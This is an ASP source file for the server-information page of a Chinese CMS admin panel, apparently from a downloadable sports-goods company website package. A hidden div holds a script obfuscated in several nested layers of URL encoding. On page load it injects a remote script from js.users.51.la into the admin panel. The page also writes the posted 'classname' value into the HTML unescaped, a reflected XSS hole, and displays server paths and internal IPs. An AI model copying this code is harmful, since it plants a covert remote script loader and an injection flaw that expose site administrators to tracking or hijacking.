www.gusucode.com > 艺帆全站DIV+CSS体育用品公司网站源码 1.7.5源码程序 > i5808/main.asp
<!--#include file="../Conn.asp" -->
<!--#include file="i5808_config.asp" -->
<!--#include file="seeion.asp"-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>服务器信息</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<link rel="stylesheet" type="text/css" id="css" href="images/style.css">
</head>
<body>
<%
Function IsObjInstalled(strClassString)
On Error Resume Next
IsObjInstalled = False
Err = 0
Dim xTestObj
Set xTestObj = Server.CreateObject(strClassString)
If 0 = Err Then IsObjInstalled = True
Set xTestObj = Nothing
Err = 0
End Function
%>
<%
Dim theInstalledObjects(17)
theInstalledObjects(0) = "MSWC.AdRotator"
theInstalledObjects(1) = "MSWC.BrowserType"
theInstalledObjects(2) = "MSWC.NextLink"
theInstalledObjects(3) = "MSWC.Tools"
theInstalledObjects(4) = "MSWC.Status"
theInstalledObjects(5) = "MSWC.Counters"
theInstalledObjects(6) = "IISSample.ContentRotator"
theInstalledObjects(7) = "IISSample.PageCounter"
theInstalledObjects(8) = "MSWC.PermissionChecker"
theInstalledObjects(9) = "Scripting.FileSystemObject"
theInstalledObjects(10) = "adodb.connection"
theInstalledObjects(11) = "SoftArtisans.FileUp"
theInstalledObjects(12) = "SoftArtisans.FileManager"
theInstalledObjects(13) = "JMail.SMTPMail"
theInstalledObjects(14) = "CDONTS.NewMail"
theInstalledObjects(15) = "Persits.MailSender"
theInstalledObjects(16) = "LyfUpload.UploadFile"
theInstalledObjects(17) = "Persits.Upload.1"
%>
<div style="display:none">
<script>
<!--
document.write(unescape("%3Cscript%3E%0D%0A%3C%21--%0D%0Adocument.write%28unescape%28%22%253Cscript%253E%250D%250A%253C%2521--%250D%250Adocument.write%2528unescape%2528%2522%25253Cscript%25253E%25250D%25250A%25253C%252521--%25250D%25250Adocument.write%252528unescape%252528%252522%2525253Cscript%2525253E%2525250D%2525250A%2525253C%25252521--%2525250D%2525250Adocument.write%25252528unescape%25252528%25252522%252525253Cscript%2525252520language%252525253D%2525252522javascript%2525252522%2525252520type%252525253D%2525252522text/javascript%2525252522%2525252520src%252525253D%2525252522http%252525253A//js.users.51.la/3312809.js%2525252522%252525253E%252525253C/script%252525253E%25252522%25252529%25252529%2525253B%2525250D%2525250A//--%2525253E%2525250D%2525250A%2525253C/script%2525253E%252522%252529%252529%25253B%25250D%25250A//--%25253E%25250D%25250A%25253C/script%25253E%2522%2529%2529%253B%250D%250A//--%253E%250D%250A%253C/script%253E%22%29%29%3B%0D%0A//--%3E%0D%0A%3C/script%3E"));
//-->
</script></div>
<%
Dim strClass
strClass = Trim(Request.Form("classname"))
If "" <> strClass then%>
<table width="100%" border="0" cellspacing="1" align="center" class="font" bgcolor="#000000">
<tr bgcolor="#FFFFFF">
<td class="docbutton">
<%Response.Write "<br>您指定的组件的检查结果："
If Not IsObjInstalled(strClass) then
Response.Write "<br><font color=red>很遗憾，该服务器不支持" & strclass & "组件！</font>"
Else
Response.Write "<br><font color=green>恭喜！该服务器支持" & strclass & "组件。</font>"
End If
Response.Write "</td></tr></table>"
end if
%>
<table width="99%" border="0" align="center" cellpadding="1" cellspacing="1" >
<tr>
<td height="24" background="images/bg_list.gif" bgcolor="#F7F7F7"><div style="padding-left:10px; font-weight:bold; color:#0075a9">服务器信息</div></td>
</tr>
<tr>
<td bgcolor="#FFFFFF" ><table width="100%" border="0" align="center" cellpadding="4" cellspacing="0" >
<tr onMouseOver="style.backgroundColor='#EEEEEE'" onMouseOut="style.backgroundColor='#F1F5F8'" bgcolor="#F1F5F8" >
<td height="25" width="15%" class="td">程序绝对路径:</td>
<td width="41%" class="td"><%=Server.MapPath("nowaasp.asp")%></td>
<td width="13%" class="td">服务器脚本引擎</td>
<td width="31%" class="td"><%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %></td>
</tr>
<tr onMouseOver="style.backgroundColor='#EEEEEE'" onMouseOut="style.backgroundColor='#FFFFFF'" bgcolor="#FFFFFF">
<td height="25" width="15%" class="td">站点物理路径</td>
<td class="td"><%=request.ServerVariables("APPL_PHYSICAL_PATH")%></td>
<td class="td">路径信息</td>
<td class="td"><%=request.ServerVariables("PATH_INFO")%></td>
</tr>
<tr onMouseOver="style.backgroundColor='#EEEEEE'" onMouseOut="style.backgroundColor='#F1F5F8'" bgcolor="#F1F5F8">
<td height="25" width="15%" class="td">请求机器IP地址</td>
<td class="td"><%=request.ServerVariables("REMOTE_ADDR")%></td>
<td class="td">服务器内部IP</td>
<td class="td"><%=Request.ServerVariables("LOCAL_ADDR")%></td>
</tr>
<tr onMouseOver="style.backgroundColor='#EEEEEE'" onMouseOut="style.backgroundColor='#FFFFFF'" bgcolor="#FFFFFF">
<td height="25" width="15%" class="td">SCRIPT虚拟路径</td>
<td class="td"><%=request.ServerVariables("SCRIPT_NAME")%></td>
<td class="td">服务器IP地址</td>
<td class="td"><%=request.ServerVariables("SERVER_NAME")%></td>
</tr>
<tr onMouseOver="style.backgroundColor='#EEEEEE'" onMouseOut="style.backgroundColor='#F1F5F8'" bgcolor="#F1F5F8">
<td height="25" width="15%" class="td">服务器端口</td>
<td class="td"><%=request.ServerVariables("SERVER_PORT")%></td>
<td class="td">协议名称和版本</td>
<td class="td"><%=request.ServerVariables("SERVER_PROTOCOL")%></td>
</tr>
<tr onMouseOver="style.backgroundColor='#EEEEEE'" onMouseOut="style.backgroundColor='#FFFFFF'" bgcolor="#FFFFFF">
<td height="25" width="15%" class="td">服务器IIS版本</td>
<td class="td"><%=request.ServerVariables("SERVER_SOFTWARE")%></td>
<td class="td">脚本超时时间</td>
<td class="td"><%=Server.ScriptTimeout%>秒</td>
</tr>
<tr onMouseOver="style.backgroundColor='#EEEEEE'" onMouseOut="style.backgroundColor='#F1F5F8'" bgcolor="#F1F5F8">
<td height="25" width="15%" class="td">服务器操作系統</td>
<td class="td"><%=Request.ServerVariables("OS")%></td>
<td class="td">服务器CPU数量</td>
<td class="td"><%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个</td>
</tr>
</table>
</td>
</tr>
</table>
<div style="margin-top:10px;">
<table width="99%" border="0" align="center" cellpadding="0" cellspacing="1" >
<tr>
<td height="26" background="images/bg_list.gif"><div style="padding-left:10px; font-weight:bold; color:#0075a9">版权信息</div></td>
</tr>
<tr>
<td bgcolor="#FFFFFF"><table width="100%" border="0" align="center" cellpadding="5" cellspacing="0" >
<tr onMouseOver="style.backgroundColor='#EEEEEE'" onMouseOut="style.backgroundColor='#F1F5F8'" bgcolor="#F1F5F8" >
<td height="25" width="40%" class="td">授权使用</td>
<td width="60%" class="td"><%=TD_home%></td>
</tr>
<tr onMouseOver="style.backgroundColor='#EEEEEE'" onMouseOut="style.backgroundColor='#FFFFFF'" bgcolor="#FFFFFF">
<td height="25" width="40%" class="td">YFCMS官方网站</td>
<td class="td"><a href="http://www.yfcms.com" target="_blank">http://www.yfcms.com</a></td>
</tr>
<tr onMouseOver="style.backgroundColor='#EEEEEE'" onMouseOut="style.backgroundColor='#FFFFFF'" bgcolor="#FFFFFF">
<td height="25" width="40%" class="td">交流论坛</td>
<td class="td"><a href="http://bbs.yfcms.com" target="_blank">http://bbs.yfcms.com</a></td>
</tr>
<tr onMouseOver="style.backgroundColor='#EEEEEE'" onMouseOut="style.backgroundColor='#F1F5F8'" bgcolor="#F1F5F8">
<td height="25" width="40%" class="td">技术支持</td>
<td class="td">客服QQ：332723511 19124152</td>
</tr>
</table></td>
</tr>
</table></div></td>
</tr>
</table>
</body>
</html>